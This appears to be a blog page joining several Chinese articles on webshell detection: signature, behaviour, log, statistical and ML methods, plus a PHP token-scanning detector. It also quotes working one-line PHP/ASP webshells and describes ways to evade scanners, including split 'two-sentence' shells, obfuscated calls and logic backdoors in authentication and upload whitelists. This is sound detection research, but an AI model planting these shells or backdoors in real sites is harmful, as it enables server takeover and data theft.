精华内容
参与话题
问答
  • webshell后门检测原理

    千次阅读 2019-04-30 20:20:53
    一、什么是webshell shell (计算机壳层) 在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后...

    一、什么是webshell

    1. shell (计算机壳层)
      在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。Shell 编程跟 java、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。
      Linux 的 Shell 种类众多,常见的有:
      Bourne Shell(/usr/bin/sh或/bin/sh)
      Bourne Again Shell(/bin/bash)
      C Shell(/usr/bin/csh)
      K Shell(/usr/bin/ksh)
      Shell for Root(/sbin/sh)

    2. webshell简介
      webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,

    webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途

    ,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

    黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

    1. webshell的分类

    webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

    根据功能也分为大马与小马

    小马通常指的一句话木马

    一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。工作原理:首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库,或者加进asp网页.记住!我们的目的是把一句话<%execute request(“value”)%>添加到数据库,无论任何方式!然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后进入此网站服务器。一句话最常用的客户端为:一句话客户端增强版
    中国菜刀;lanker一句话客户端;ZV新型PHP一句话木马客户端GUI版。

    大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。

    二、传统webshell检测
    Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然不是绝对的),只有在应用层进行检测。黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。
    目前针对Webshell的特征检测一般是通过特征比对及文件属性异常的静态检测和基于访问情况、行为模式特征的动态检测方式进行查杀,由于窃密型Webshell通常会伪装成正常的WEB脚本文件,静态特征检测及动态行为检测都无法有效的针对此类后门进行检测。

    2.1 静态检测
    **

    静态特征检测是指对脚本文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件的关联性等多个维度的特征进行检 测

    ,**即先建立一个恶意字符串特征库,例如:“组专用大马|提权|木马|PHP\s?反弹提权cmd执行”,“WScript.Shell、 Shell.Application、Eval()、Excute()、Set Server、Run()、Exec()、ShellExcute()”,同时对WEB文件修改时间,文件权限以及文件所有者等进行确认。通常情况下 WEB文件不会包含上述特征或者特征异常,通过与特征库的比对检索出高危脚本文件。

    该检测方法的优点:可快速检测,快速定位;

    缺点:容易误报,无法对加密或者经过特殊处理的Webshell文件进行检测。无法查找0day型webshell,而且容易被绕过。尤其是针对窃密型Webshell无法做到准确的检测,因为窃密型Webshell通常具有和正常的WEB脚本文件具有相似的特征。
    所以用这样一种思路:强弱特征。即把特征码分为强弱两种特征,强特征命中则必是webshell;弱特征由人工去判断。

    2.2 动态检测

    动态特征检测通过Webshell运行时使用的系统命令或者网络流量及状态的异常来判断动作的威胁程度,

    Webshell通常会被加密从而避免静态 特征的检测,

    当Webshell运行时就必须向系统发送系统命令来达到控制系统或者操作数据库的目的,通过检测系统调用来监测甚至拦截系统命令被执行,从 行为模式上深度检测脚本文件的安全性。

    先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应做成特征库,加到IDS里面去检测所有的HTTP请求就好了。webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,Win下就是IIS User启动cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent和IDS都可以抓现行。Webshell总有一个HTTP请求,如果我在网络层监控HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。

    优点:可用于网站集群,对新型变种脚本有一定的检测能力。

    缺点:针对特定用途的后门较难检测,实施难度较大。

    2.3日志分析
    使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测 技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。例如:一个平时是GET的请求突然有了POST请求并且返回 代码为200、某个页面的访问者IP、访问时间具有规律性等。
    使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。例如:一个平时是GET的请求突然有了POST请求并且返回代码为200、某个页面的访问者IP、访问时间具有规律性等。

    webshell的访问特征(主要特征)

    少量ip对其发起访问
    总的访问次数少
    该页面属于孤立页面
    当然不是所有的孤立页面都是webshell,以下情况也会造成孤立页面
    (1)隐藏管理后台等正常孤立页面的访问
    (2)扫描器行为,常见漏洞扫描,PoC扫描,Webshell扫描(日志中经常可以看到常见webshell路径加一句话payload的扫描)——这是最主要的干扰数据,需要剔除
    对于情况(1)采用白名单的方式,对于情况(2)扫描器识别
    (p.s. 爬虫技术、指纹识别技术、扫描器识别(广义的可衍生到人机识别)可以称为web安全技术的三驾马车,总也绕不过去)

    优点:采用了一定数据分析的方式,网站的访问量达到一定量级时这种检测方法的结果具有较大参考价值。

    缺点:存在一定误报,对于大量的访问日志,检测工具的处理能力和效率会比较低。

    2.4统计学
    在Webshell后门检测中被使用较为广泛的一种方法是统计学方法,NeoPi是国外流行的一个基于统计学的Webshell后门检测工具,它使用五种计学方法在脚本文件中搜索潜在的被混淆或被编码的恶意代码。

    NeoPi使用以下五种检测方法:

    1、信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性;

    2、最长单词(LongestWord):最长的字符串也许潜在的被编码或被混淆;

    3、重合指数(Indexof Coincidence):低重合指数预示文件代码潜在的被加密或被混效过;

    4、特征(Signature):在文件中搜索已知的恶意代码字符串片段;

    5、压缩(Compression):对比文件的压缩比。

    采用这种检测方法也存在明显的弱点,NeoPi的检测重心在于识别混淆代码,它常常在识别模糊代码或者混淆编排的木马方面表现良好。未经模糊处理的 代码对于NeoPi的检测机制较为透明。如果代码整合于系统中的其它脚本之上,这种“正常”的文件极可能无法被NeoPi识别出来。

    小结:传统检测方法的缺陷
    现有技术是针对普通的脚本后门、以控制服务器为目的、通常包含较为明显的静态特征或者行为模式,不能对窃密型后门进行有效检测。

    由于业务系统更新频繁,WEB脚本文件相关的属性经常发生变化所以偏重于文件属性检测的方法往往会产生更多的误报,基于动态行为检测的方法往往技术 难度较大,难以实现,而且对系统造成的性能影响较大,甚至可能对系统稳定性造成影响,基于日志的检测方法,一方面,由于业务功能较多且复杂,部分功能可能 很少会被用到,其日志访问可能会命中某些检测规则从而造成更多的误报,另一方面,大量的日志记录处理起来会对服务器性能产生负担、而且由于日志量巨大检测 过程消耗时间长,检测速度较慢。而窃密型Webshell后门往往会模拟正常的数据库操作、不具有较为明显静态特殊属性、被访问的次数比较少无法形成较为 明显的访问特征,通过日志分析也很难发现。

    5.6 语法检测
    语法语义分析形式,是根据php语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式。这样可以完美解决漏报的情况。但误报上,仍存在问题。误报问题所在,一是被检测文件是否为合法php语法文件,token_get_all函数的实现,是不验证是否问合法php语法文件的,只是对其进行扫描,分析。服务器云判断是一种根据恶意代码串的指纹,根据大量后门数据,做语法、语义分析,做业务逻辑分析,理解这段代码的用途,给出其是否为恶意代码的定位,而其他使用者,直接可以得到该代码片段是否为恶意代码的结果反馈。Pecker Scanner首先是基于语法分析,剥离token、注释、字符串、变量、语言结构,再进行php语法检测,提取恶意代码的扫描工具,来解决漏报问题。同时支持服务器云判断,尽量避免误报问题。基于语法的pecker检测工具

    三、新型webshell检测
    31基于数据库操作审计的检测方式
    针对窃密型Webshell必须具有操作数据库的能力,可以引申出一种新的检测方法,通过分析正常WEB脚本文件和窃密型Webshell对数据库操作的差异进行分析是本检测方法所重点研究的方向。

    正常情况下WEB站点进行数据操作的过程应该是重复性且较为复杂的查询过程,这种查询通常精确度非常高,查询过程不会出现类似于“select * from”这种查询语句。正常的WEB脚本在进行数据库操作的过程中也不会出现跨越数据库查询的情况,一旦出现这种现象基本可以判断为非正常的WEB脚本 操作过程。

    就以上思路设计如下的检测方案:

    审计数据操作记录。通过审计数据库操作记录可以单独的为每一个WEB站点甚至WEB站点中的每一个脚步文件建立查询请求模型,通过几天甚至数月的自 我学习过程来学习并维护一份查询请求数据库。该数据库的内容包含了每次查询操作的详细信息、请求归类和分析结果。并且建立动态查询请求规则,Agent一 旦检测到违反该规则的查询请求后会向Server端传递相关信息,Server端再结合其它的扫描过程综合判断发起请求的文件是否为Webshell,并 最终决定是否向管理员报警。

    3.2建立机器学习日志分析系统
    由于数据库操作记录日志量非常大,使用人工的方法难以进行精确筛选和审计。所以需要建立一套机器自学习的日志审计系统。该日志审计系统主要基于查询模型白名单学习与数学统计模型这两方面进行设计。

    查询模型白名单学习系统:

    在一个网站系统中,由于系统业务逻辑相对固定,执行的数据库查询语句可以归类并且是可预测的,基于这些事实可以建立一套自学习系统,在无人值守的状 态下进行无监督的机器学习。在对日志进行泛化处理之后,根据特征(包括时间,查询语句,参数等)建立N维的特征向量。使用k-均值聚类算法对日志进行初步 分组。其中对参数的处理使用局部加权线性回归算法预测参数类型。对聚类后的数据进行抽样,使用贝叶斯决策树进行抽样结果的机器决策。

    数学统计模型系统:

    由于窃密型web应用脚本后门只服务于入侵者,所执行的查询语句也是超出业务系统正常使用逻辑的,在一个有一定访问量级的业务系统中,窃密使用的查询语句是执行量最少的。对业务系统数据库的日志进行参数归一化处理后,正常应用中的查询语句与窃密使用的语句从数量上来看一定有数量级的差距。可以建立查询语句的统计模型,也可以对窃密型Webshell行为进行审计。

    变形、窃密型webshell检测
    变形webshell可以由上面所说的统计学NeoPI工具检测,也可以动态检测。比如,一个正常的程序员如果使用eval、system是不会刻意的转换隐藏的,如果发现某个函数执行了,代码中却找不到这个函数名,我们认为这是一个异常行为。所以变形加密也可以用这种方式查找,在日志中找到某个文件执行system等命令,但在原文件中没找到这个文件代码,说明文件是后门文件。

    针对窃密型Webshell必须具有操作数据库的能力,可以引申出一种新的检测方法,通过分析正常WEB脚本文件和窃密型Webshell对数据库操作的差异进行分析是本检测方法所重点研究的方向。正常情况下WEB站点进行数据操作的过程应该是重复性且较为复杂的查询过程,这种查询通常精确度非常高,查询过程不会出现类似于“select * from”这种查询语句。正常的WEB脚本在进行数据库操作的过程中也不会出现跨越数据库查询的情况,一旦出现这种现象基本可以判断为非正常的WEB脚本操作过程。

    就以上思路设计如下的检测方案:

    审计数据操作记录。通过审计数据库操作记录可以单独的为每一个WEB站点甚至WEB站点中的每一个脚步文件建立查询请求模型,通过几天甚至数月的自我学习过程来学习并维护一份查询请求数据库。该数据库的内容包含了每次查询操作的详细信息、请求归类和分析结果。并且建立动态查询请求规则,Agent一旦检测到违反该规则的查询请求后会向Server端传递相关信息,Server端再结合其它的扫描过程综合判断发起请求的文件是否为Webshell,并最终决定是否向管理员报警。

    作者:JackyTsuuuy
    链接:https://www.jianshu.com/p/02aac12e459f
    来源:简书
    简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

    作者:JackyTsuuuy
    转自:https://www.jianshu.com/p/02aac12e459f

    参考:四款webshell扫描工具对比
    https://www.jianshu.com/p/77b1533b15d6

    展开全文
  • Webshell的因素 我们从一个最简单的webshell结构可以看出其基本结构:...数据传递&绕过检测 对于数据传递,我们通常的做法是使用$_GET、$_POST、$_SERVER、$_COOKIE等获取客户端数据。但这类关键词如果直接出现的

    Webshell的因素

    我们从一个最简单的webshell结构可以看出其基本结构:“<?php eval($_POST[‘a’]);?>”

    常见 Webshell 的检测方法及检测绕过思路

    从目前被公布的一句话webshell来看,基本都符合这个结构,即shell的实现需要两步:数据的传递、执行所传递的数据。

    数据传递&绕过检测

    对于数据传递,我们通常的做法是使用$_GET、$_POST、$_SERVER、$_COOKIE等获取客户端数据。但这类关键词如果直接出现的话,那么可以很容易回溯到,我们有几种方案来解决这个问题:

    1. 利用应用本身所在框架的输入封装来得到传递的数据
    2. 采取某种变通的方式来绕过检测,譬如使用${"_G"."ET"}。不过这种方式也有自身的缺点,可以跟踪“${”;不过这种跟踪又可以通过“$/*a*/{”这种方式绕过(当然其又有被跟踪的可能性)。
    3. 使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。
    4. 人为构造语言缺陷或应用漏洞,并且这种缺陷是不易察觉的,譬如伪造管理员session等。

    数据执行&绕过检测

    对于数据执行,我们通常使用的函数或方式有:eval、create_function、``、exec、preg_replace等。当然这类关键词如果直接出现的话,我们的自动化webshell检测脚本可以很轻易的进行识别,目前看我们可以绕过检测的方案较少:

    1、通过$a()这种方式来执行函数。不过这种方式也有自身规律在里面,有很多扫描器已经内置了“$.*($.*”这种规则,同样我们可以通过$a/*a*/()这种方式以及相应的变通方式来绕过。(当然其又有被跟踪的可能性)

    2、尝试去找到不在黑名单中的函数,或者极其常见的函数。

    关于一句话webshell的呈现形式和检测方案

    最近微博上提到的变种加密的webshell很多啊,有Fredrik提到的tiny php shell

    http://h.ackack.net/tiny-php-shell.html):

    <?=($_=@$_GET[2]).@$_($_GET[1])?>

    有Spanner的Non alphanumeric webshell

    http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/):

    <?

    $_="";

    $_[+""]='';

    $_="$_"."";

    $_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

    ?>

    <?=${'_'.$_}['_'](${'_'.$_}['__']);?>

    还有从http://blog.sucuri.net/ 上看到的N个webshell

    http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html):

    if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc'])); 

    wp__theme_icon=create_function(”,file_get_contents(‘/path/wp-content/themes/themename/images/void.jpg’));$wp__theme_icon(); 

     

    $auth_pass = “63a9f0ea7bb98050796b649e85481845″;

    $color = “#df5″;

    $default_action = “SQL”;

    $default_charset = “Windows-1251″;

    $protectionoffer = “ficken”;

    preg_replace(“/.*/e”,"\x65\x76\x61\x6C..."); 

     

    <?php $XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb

    =’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$j

    oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY…

     

    还有某人发现的:

    $k = "{${phpinfo()}}";

     

    更多的可以看这里:http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html

     

    从上述的这些shell中我们已经能找到规律,虽然我们没有非常完善的办法定位数据传递这个步骤,但是我们能比较方便地找到数据执行的位置:“(”。从我目前掌握的情况来看,一个数据执行(当然include这几个和“``”反引号执行另作考虑)的基本条件一定会包含这个小括号,如果哪位大牛有什么可以在代码中不使用小括号就可以达到代码执行的方法,请一定不吝赐教。

    所以我们可以很容易的做出我们的webshell检测方法:使用token_get_all将php代码打成token,然后找到每一个”(”,判断括号前面的数据是不是合法的即可。至于如何判断合法,我们遵循一个原则:如果是空格、注释之类,则采取忽略方式(即continue,继续往前判断);如果是分支、条件判断或运算符,则我们认为是合法的;如果是字符串,并且在黑名单,我们认为是非法的,否则是合法的;如果不满足上述条件,我们先暂认为是非法的(通过此项不断完善我们的配置和算法)。

    基于上述理论,我们实现我们的算法如下(其中部分代码做省略处理,如需完整代码,请见后面链接):

    <?php

    final class Conf{

    public static $strict = false;

    //有可能有危害的函数

    public static $vul_func = array('create_function', 'eval', ... 'usort');

    public static $allow_chars = array('.','=',',','+','-','*','/','%','^','&','|','!',);

    //无危害的token类型

    public static $allow_type = array(T_AND_EQUAL,T_BOOLEAN_AND,...T_SWITCH);

    //需要被忽略的token类型

    public static $ignore_type = array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,);

    }

    function check_callable($code){

    $token = token_get_all($code);

    $vul = array();$flag = false;

    for($i=0;$i<count($token);$i++){

    if(is_string($token[$i])){

    if($token[$i]=='('){

    $tmp = check_harmful($token,$i-1);//指向“(”之前

    if($tmp) $vul[] = $tmp;

    }

    if($token[$i]=='`'){

    $flag = $flag == true ? false : true;

    if($flag) $vul[] = $token[$i+1];

    }

    }

    }

    return $vul;

    }

     

    function check_harmful($token,$idx){

    for($i=$idx;$i>0;$i--){

    if(is_array($token[$i])){

    if(in_array($token[$i][1],Conf::$vul_func)) {

    if(Conf::$strict){//严格检验

    if(has_varparam($token,$idx+1)) return $token[$i];//从“(”开始

    return false;

    }

    return $token[$i];

    }

    if(in_array($token[$i][0],Conf::$ignore_type)) continue;

    if(in_array($token[$i][0],Conf::$allow_type)) return false;

    return $token[$i];//$a();

    }else{

    if(in_array($token[$i],Conf::$allow_chars)) return false;

    }

    }

    return false;

    }

     

    function has_varparam($token,$idx){

    $bracket = 0;

    for($i=$idx;$i<count($token);$i++){

    if(is_string($token[$i])){

    if($token[$i]=="(") $bracket ++;

    if($token[$i]==")") $bracket --;

    }else{

    if($token[$i][0]==T_VARIABLE) return true;

    }

    if($bracket===0) return false;

    }

    return false;

    }

     

    function _main(){

    $code = file_get_contents("shell.php");

    $vuls = check_callable($code);

    var_dump($vuls);

    }

    _main();

    ?>

     

    在不考虑误报率仅考虑覆盖率的情况下,上述代码对之前所描述的webshell的覆盖率几乎是100%。

    常见 Webshell 的检测方法及检测绕过思路

    感兴趣的朋友可以尝试去写一些单文件的shell去突破下,如果突破成了,不妨指点一二,呵呵。

    关于“两句话”webshell的呈现形式

    当然所谓的“两句话”只是个概念描述方式(噱头),不是技术。这种思路可能并非是独创的,因此此处仅作为思路总结,而并非新技术提出

    那么在这些已有的webshell都可以被检测出的情况下(当然庞大的人肉问题定位工程暂且不谈),我们可以先假设我们可以通过技术手段检测并防御了“一句话”webshell(这里的一句话指的是上述的数据传递和数据执行在一起的webshell);那么本文的重点便引申出来了 —— 如果我们将数据传递过程和数据执行过程分开,构造出我们的“两句话”webshell,是否可以突破上述的检测呢?

    当然我所指的分开可以绝不是字面上的意思把shell分两句话来写:

    $a = $_GET[‘a’];eval($a);

    这没有任何意义。而是说采取一些方式,隐藏数据传递者和数据执行者。这里简单举一个例子,譬如我们在a.php中插入了这样的代码,以便在必要时生成一个shell文件:

    file_put_contents(“/home/www/abc.txt”, str_rot13 (‘some code already encode’));

     

    然后我们在b.php中再实现一个数据执行者,最简单的莫过于:

    include “/home/www/abc.txt”;

     

    那么这种两步的webshell是很难被发现的。一般来说检查webshell的脚本不会对file_put_contents这种函数下手,但如果它真下手了,那么我们依然有很多方式可以进行此步:譬如上传一个文件,然后通过$_FILES['userfile']['tmp_name'] 获取文件位置;或者使用ftp_get获取一个文件;或者构造一个可以直接backupshell的注入点等等方式来完成我们这步。我们也可以使用curl、file、imagecreatefrompng、get_headers、bzopen、svn_checkout这样的函数来实现我们的数据提供。而这类的函数有十几个到几十个之多,只要可以进行网络信息的读取或者可以进行本地文件的读取或写入,那么我们就可以使之成为我们的数据提供者,而shell检测脚本绝不会把自己的触手伸这么远。而且通过sqlite、mysql或其它数据库隐藏我们的数据也不失为一个好方法。

    而对于数据执行者,即便将所有的include都grep出来,想把这个webshell的数据执行者找到也不是那么容易的事。尤其我们假设一种情况:这个include是原来正常的代码逻辑,而变化的仅仅是之前的数据传递者(即被include的页面)。另外有些框架有自动加载helper和model的功能,甚至有的有自动加载viewer的功能,这些也都是我们藏身的好地方。此外我们还可以使用virtual、php_check_syntax、array_filter、array_map、array_walk、call_user_func、preg_replace、usort等一般不在黑名单中的函数来绕过shell脚本检测,或者直接在应用代码中找上述的函数,看其所引用的变量是否可以稍加改变变成我们的数据提供者。

    所以我们看出“两句话”与一句话webshell的最大的区别在于不构造新的数据执行者或者可以完全隐匿数据执行者(利用已有的代码逻辑等),仅通过变换或构造数据提供者的前提下完成shell的功能。而$_GET、$_POST、$_SERVER、$_COOKIE、$_FILE、$_REQUEST、$GLOBALS[“_GET”]、$/*hello*/{"_G"."ET"}都是我们的数据传送者;file_get_contents、file、file_put_contents甚至print_r、unserialize都可以隐匿我们要传输的数据。当然扫描代码隐患的工具(譬如Rips)肯定能够扫描到这些隐患,但是这类工具毕竟不是用于扫描webshell的,且误报率是相当的高。

    逻辑后门

    当然如上的利用方式中还是少不了特殊的函数的存在的。因此除此之外,我们可以尝试留下另一种后门:逻辑后门,譬如:

     

    <?php

    foreach ($_GET as $key => $value) { //由攻击者添加

              $$key = $value;

    }

    // ... some code

    if (logged_in() || $authenticated) { //原有逻辑

    // ... administration area

    }

    ?>

    利用方式:http://www.example.com/index.php?authenticated=true

    或者增加逻辑 

    if($user_level==ADMIN || $user_name==’monyer’){//admin area}

    或者增加配置 

    $allow_upload = array(

    ‘jpg’,’gif’,’png’,

    ‘php’,

    );

    那么可以想象检测难度之大,几乎是无法用扫描特征的方式解决的。对此可能我们只能采取其他方法,譬如线上文件监控以及线上与SVN代码的周期性diff等方式来解决了。

    OK,文章就到此,描述常见的一句话后门和变种方式以及检测方式,“两句话”后门的实现思路和逻辑后门的思路。希望各位看官看完会有收获,有问题及时联系,多谢!

    monyer. 

    一句话php webshell的case和检测结果:

    Case:http://xeye.sinaapp.com/data/lab/php_shell/shell_sample.php

    Find Shell:http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php

    Find Shell Code:http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php?show_code

    参考资料:

    http://h.ackack.net/tiny-php-shell.html

    http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

    http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html

    http://sourceforge.net/projects/rips-scanner/

    http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html

    本文“常见 Webshell 的检测方法及检测绕过思路”,来自:Nuclear'Atk 网络安全研究中心,本文地址:http://lcx.cc/?i=3188,转载请注明作者及出处!

    展开全文
  • 基于机器学习的webshell检测(一)

    千次阅读 2019-03-08 21:34:49
    本篇主要讲述,如何使用机器学习的方法来对网络安全中常见的风险点:webshell进行检测 本篇会使用LR ,XGB两种模型进行测试, 下一篇将会使用深度学习方法来解决该问题 (1)首先我们简单介绍一下什么是webshell: ...

     

    本篇主要讲述,如何使用机器学习的方法来对网络安全中常见的风险点:webshell进行检测

    本篇会使用LR ,XGB两种模型进行测试,

    下一篇将会使用深度学习方法来解决该问题

    (1)首先我们简单介绍一下什么是webshell:

    webshell,是一种基于互联网web程序以及web服务器而存在的一种后门形式,主要通过网页脚本程序和服务器容器所支持的后端程序,在web服务器及其中间件中进行运行。

    一个成熟的webshell主要具有以下两个特点:隐蔽性强以及功能强大。

    而隐蔽性强又包含:该webshell在上传时可以绕过服务器可能存在的安全检测工具以及避开网络应用防火墙(WAF)的查杀;在后门程序运行,与攻击者传输数据包时,其行为不易被检测或侦察;在进行文件静态检测或特征码检测是,由于加密,压缩,动态调用等多种方法使得其不容易被人工或机器检测;具有良好的反计算机取证分析及溯源能力。

    Webshell通常针对web开放端口,并使用脚本语言编写一般一个webshell主程序整体是一个正向的链接,可以被攻击者主动访问。在攻击链模型中,一次针对webshell攻击的过程主要分为以下步骤:踩点,组装,投送,攻击,植入,控制以及行为。

    目前国内外媒体经常爆出大型的网站,金融平台,组织机构,甚至网络供应服务商(ISP),政府部门都曾被检测出在其重要系统包含有webshell存在。成千上万的敏感信息以及用户数据被泄露。大量高流量及政务网站均存在挂有webshell的情况存在。

    本文旨在使用一种机器学习的方法,结合笔者在安全方面的经验,通过机器学习建模方式达到检测恶意webshell的目的。

    (2)上代码

    话不多说,先导入以下老朋友,包括:numpy(一个强大的python大规模矩阵计算库) pandas(一个强大的结构化数据处理库) matplotlib(一个强大的图形显示库)

    import numpy as np
    import pandas as pd
    import matplotlib.pyplot as plt
    import sklearn
    import os
    %matplotlib inline
    import warnings
    
    warnings.filterwarnings('ignore')
    

    接下来,我们先看一下我们这个项目的目录结构长啥样子

    其中 php-common 文件夹中存放着正常php文件数据集,其中主要来源为大型的php开源项目,包括 phpcms,yii,thinkphp,wordpress等等(代码审计,挖通用也是很爽的)

    php-webshell文件夹中存放着笔者收集而来的大量webshell样本并将它们通过md5检验去重

    总共包含正样本(webshell)约2500以及负样本5000个

    以下block中的代码将正负样本数据集文件枚举出来

    files_webshell = os.listdir("/webshell/project/php-webshell/")
    files_common = os.listdir("/webshell/project/php-common")
    

    以下代码用于根据文件夹决定其中文件的label标签,如果是webshell文件夹下的文件,则置label=1 否则 label=0

    labels_webshell = []
    labels_common = []
    for i in range(0,len(files_webshell)):
        labels_webshell.append(1)
    for i in range(0,len(files_common)):
        labels_common.append(0)
    

    以下代码用于构建结构化数据,也就是pandas.DataFrame,以下简称df

    初始的df包含两列,其中第一列为label 也就是每个php文件的标签 第二列为file 也就是文件的路径

    for i in range(0,len(files_webshell)):
        files_webshell[i] = "/webshell/project/php-webshell/" + files_webshell[i]
    for i in range(0,len(files_common)):
        files_common[i] = "/webshell/project/php-common/" + files_common[i]
    
    files = files_webshell + files_common
    labels = labels_webshell + labels_common
    
    datadict = {'label':labels,'file':files}
    df = pd.DataFrame(datadict,columns=['label','file'])
    

    输出df的前五行看一下长啥样 如下block:

    并使用http://df.info()方法 看一下数据类型,并且看一下有没有异常的缺失

    我们可以看到 label 和 file 都是7789个

    其中label是int64类型的数据(因为他只有0,1)

    而file是object类型的数据

    接下来 就是机器学习的核心,特征选择和特征工程

    先想一想webshell和正常的php文件会有哪些区别

    依照安全方面的经验,很多php大马,需要实现非常多的功能,比如说连接数据库,目录遍历,文件查看,文件修改,执行shell命令,提权等等,而正常的php文件比如db.php可能包含数据库连接信息,config.php可能包含全局配置文件,index.php可能就是一些简单配置和路由

    那么可不可能普遍来说,webshell的文件大小会比正常文件大一些呢

    我们尝试将其当作一个特征

    以下block定义一个函数,用于读取文件,并计算文件的长度,将计算结果作为返回值,添加到df中,作为全新的一列 len

    def getfilelen(x):
        length = 0
        with open(x,'r',encoding='ISO-8859-1') as f:
            content = f.readlines()
            for i in content:
                length = length + len(i)
            f.close()
        return length
    
    df['len'] = df['file'].map(lambda x:getfilelen(x)).astype(int)
    

    粗略看了一下,貌似webshell具有上万文件长度的文件,而正常样本多集中在几百至几千的范围,当然我们不能肯定,因为才看了10条数据23333

    我们这里导入一个新的库 叫做seaborn 它可以看作是matplotlib的一个高级实现接口
    我们使用kdeplot函数进行画图,分别画出在label=1和label=0时,文件长度的分布情况
    我们可以看到,虽然大体趋势差不多,但是在label=1情况下 有更多的文件表现出具有较大的长度,而label=0情况下 文件长度绝大多数在2000范围以内
    如下图所示

    import seaborn as sns
    plt.style.use('seaborn')
    sns.set(font_scale=2)
    pd.set_option('display.max_columns', 500)
    
    sns.kdeplot(df.len[df.label == 1].values, color="b", shade=True)
    sns.kdeplot(df.len[df.label == 0].values, color="b", shade=True)
    

    下一步要想一想还有什么特征 信息学中有一个很重要的概念,叫熵(虽然它最早出自化学和物理学2333),在信息学中,它用于衡量一个系统的混乱程度,简而言之,对于一个随机字符串,他就代表着字符串中字母出现以及分布的混乱程度,打个比方: str1 = 'aaabbb' str2 = 'asdfgh' 两者长度相同,可是看上去str1比str2更整齐,更有规律不少,而str2更像是用脸滚键盘滚出来的,熵主要用于判断器混乱程度,不同于我们用肉眼判断,她有一个著名的公式,叫香农熵公式:

    G = -ΣLog(P(Xi)) * P(Xi)

    其中P(Xi)是字符出现的概率 比如 str1中 P('a') = 3 / (3+3) = 0.5 str2中 P('a') = 1 / (6) = 0.166667

    那么由于某些webshell需要规避一些防御机制的检测,可能他会使用混淆或者加密技术来使得代码看上去一团乱麻,但是同时一些检测方法由于无法匹配到特征库而将其标识为正常文件

